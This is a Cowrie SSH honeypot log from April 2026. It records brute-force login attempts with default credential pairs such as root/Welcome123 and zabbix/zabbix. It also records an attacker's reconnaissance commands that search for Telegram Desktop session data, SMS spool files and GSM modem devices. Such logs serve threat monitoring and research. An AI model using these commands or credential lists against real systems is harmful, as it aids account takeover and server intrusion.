{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:26.200888Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:26.204305Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:26.414984Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52968,"dst_ip":"159.203.135.109","dst_port":22,"session":"9da6049064f2","protocol":"ssh","message":"New connection: 176.65.139.95:52968 (159.203.135.109:22) [session: 9da6049064f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:26.420052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:26.424471Z","src_ip":"176.65.139.95","session":"9da6049064f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:26.527575Z","src_ip":"176.65.139.95","session":"9da6049064f2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:26.861495Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:26.865294Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:27.026037Z","src_ip":"176.65.139.95","session":"9da6049064f2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:27.150041Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:27.587241Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:27.590905Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:27.800212Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:28.111470Z","src_ip":"176.65.139.95","session":"9da6049064f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47138,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ae1db740f3e","protocol":"ssh","message":"New connection: 176.65.139.95:47138 (159.203.135.109:22) [session: 5ae1db740f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:32.026582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:32.035966Z","src_ip":"176.65.139.95","session":"5ae1db740f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:32.113346Z","src_ip":"176.65.139.95","session":"5ae1db740f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:32.480612Z","src_ip":"176.65.139.95","session":"5ae1db740f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:33.592643Z","src_ip":"176.65.139.95","session":"5ae1db740f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47148,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aba7e3b3531","protocol":"ssh","message":"New connection: 176.65.139.95:47148 (159.203.135.109:22) [session: 2aba7e3b3531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:37.880810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:37.889584Z","src_ip":"176.65.139.95","session":"2aba7e3b3531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:37.993853Z","src_ip":"176.65.139.95","session":"2aba7e3b3531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:38.380926Z","src_ip":"176.65.139.95","session":"2aba7e3b3531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:39.466535Z","src_ip":"176.65.139.95","session":"2aba7e3b3531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36532,"dst_ip":"159.203.135.109","dst_port":22,"session":"1755e37e9ab3","protocol":"ssh","message":"New connection: 176.65.139.95:36532 (159.203.135.109:22) [session: 1755e37e9ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:43.644077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:43.648627Z","src_ip":"176.65.139.95","session":"1755e37e9ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:43.731617Z","src_ip":"176.65.139.95","session":"1755e37e9ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:44.302526Z","src_ip":"176.65.139.95","session":"1755e37e9ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:45.408911Z","src_ip":"176.65.139.95","session":"1755e37e9ab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60678,"dst_ip":"159.203.135.109","dst_port":22,"session":"945e15eb4fe9","protocol":"ssh","message":"New connection: 176.65.139.95:60678 (159.203.135.109:22) [session: 945e15eb4fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:49.401894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:49.558221Z","src_ip":"176.65.139.95","session":"945e15eb4fe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:49.562112Z","src_ip":"176.65.139.95","session":"945e15eb4fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:49.979310Z","src_ip":"176.65.139.95","session":"945e15eb4fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:51.063447Z","src_ip":"176.65.139.95","session":"945e15eb4fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60690,"dst_ip":"159.203.135.109","dst_port":22,"session":"4da3283f1688","protocol":"ssh","message":"New connection: 176.65.139.95:60690 (159.203.135.109:22) [session: 4da3283f1688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:55.389257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:55.394746Z","src_ip":"176.65.139.95","session":"4da3283f1688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:55.479081Z","src_ip":"176.65.139.95","session":"4da3283f1688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:55.729704Z","src_ip":"176.65.139.95","session":"4da3283f1688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:56.819652Z","src_ip":"176.65.139.95","session":"4da3283f1688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60628,"dst_ip":"159.203.135.109","dst_port":22,"session":"90e1404d7d94","protocol":"ssh","message":"New connection: 176.65.139.95:60628 (159.203.135.109:22) [session: 90e1404d7d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:01.406040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:01.415386Z","src_ip":"176.65.139.95","session":"90e1404d7d94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:01.508560Z","src_ip":"176.65.139.95","session":"90e1404d7d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:01.829251Z","src_ip":"176.65.139.95","session":"90e1404d7d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56504,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a5034123b91","protocol":"ssh","message":"New connection: 159.203.92.129:56504 (159.203.135.109:22) [session: 5a5034123b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:01.845114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:01.852138Z","src_ip":"159.203.92.129","session":"5a5034123b91","protocol":"ssh"}
